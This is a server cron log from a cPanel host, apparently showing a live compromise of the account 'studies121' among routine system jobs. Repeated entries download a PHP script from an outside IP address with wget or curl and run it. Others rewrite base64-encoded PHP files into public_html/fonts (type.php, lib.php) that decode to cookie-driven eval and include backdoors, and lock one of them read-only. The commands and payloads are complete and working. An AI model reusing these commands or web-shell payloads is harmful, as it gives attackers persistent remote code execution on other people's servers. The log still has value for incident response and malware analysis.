Sep  5 17:50:01 ip-184-168-122-23 CROND[27274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:50:01 ip-184-168-122-23 CROND[27276]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 17:50:01 ip-184-168-122-23 CROND[27280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:50:01 ip-184-168-122-23 CROND[27277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:50:01 ip-184-168-122-23 CROND[27278]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:50:01 ip-184-168-122-23 CROND[27279]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:50:01 ip-184-168-122-23 CROND[27281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:50:01 ip-184-168-122-23 CROND[27283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:51:01 ip-184-168-122-23 CROND[27371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:51:01 ip-184-168-122-23 CROND[27374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:51:01 ip-184-168-122-23 CROND[27373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:51:01 ip-184-168-122-23 CROND[27372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:52:01 ip-184-168-122-23 CROND[27494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:52:01 ip-184-168-122-23 CROND[27496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:52:01 ip-184-168-122-23 CROND[27495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:52:01 ip-184-168-122-23 CROND[27498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:52:01 ip-184-168-122-23 CROND[27497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:53:01 ip-184-168-122-23 CROND[27611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:53:01 ip-184-168-122-23 CROND[27610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:53:01 ip-184-168-122-23 CROND[27612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:53:01 ip-184-168-122-23 CROND[27613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:54:01 ip-184-168-122-23 CROND[27785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:54:01 ip-184-168-122-23 CROND[27786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:54:01 ip-184-168-122-23 CROND[27787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:54:01 ip-184-168-122-23 CROND[27790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:54:01 ip-184-168-122-23 CROND[27788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:55:01 ip-184-168-122-23 CROND[27877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:55:01 ip-184-168-122-23 CROND[27879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:55:01 ip-184-168-122-23 CROND[27882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:55:01 ip-184-168-122-23 CROND[27881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:55:01 ip-184-168-122-23 CROND[27880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:55:01 ip-184-168-122-23 CROND[27883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:56:01 ip-184-168-122-23 CROND[27972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:56:01 ip-184-168-122-23 CROND[27973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:56:01 ip-184-168-122-23 CROND[27974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:56:01 ip-184-168-122-23 CROND[27976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:56:01 ip-184-168-122-23 CROND[27975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:57:01 ip-184-168-122-23 CROND[28111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:57:01 ip-184-168-122-23 CROND[28112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:57:01 ip-184-168-122-23 CROND[28113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:57:01 ip-184-168-122-23 CROND[28114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:58:01 ip-184-168-122-23 CROND[28208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:58:01 ip-184-168-122-23 CROND[28209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 17:58:01 ip-184-168-122-23 CROND[28212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:58:01 ip-184-168-122-23 CROND[28213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:58:01 ip-184-168-122-23 CROND[28214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:59:01 ip-184-168-122-23 CROND[28312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:59:01 ip-184-168-122-23 CROND[28313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 17:59:01 ip-184-168-122-23 CROND[28315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 17:59:01 ip-184-168-122-23 CROND[28316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:00:01 ip-184-168-122-23 CROND[28462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:00:01 ip-184-168-122-23 CROND[28469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:00:01 ip-184-168-122-23 CROND[28471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:00:01 ip-184-168-122-23 CROND[28468]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:00:01 ip-184-168-122-23 CROND[28470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:00:01 ip-184-168-122-23 CROND[28467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:00:01 ip-184-168-122-23 CROND[28472]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:00:01 ip-184-168-122-23 CROND[28473]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 18:00:01 ip-184-168-122-23 CROND[28474]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:01:01 ip-184-168-122-23 CROND[28595]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28595]: starting 0anacron
Sep  5 18:01:01 ip-184-168-122-23 CROND[28604]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 18:01:01 ip-184-168-122-23 CROND[28602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:01:01 ip-184-168-122-23 CROND[28603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:01:01 ip-184-168-122-23 CROND[28605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:01:01 ip-184-168-122-23 CROND[28607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28614]: finished 0anacron
Sep  5 18:02:01 ip-184-168-122-23 CROND[28695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:02:01 ip-184-168-122-23 CROND[28697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
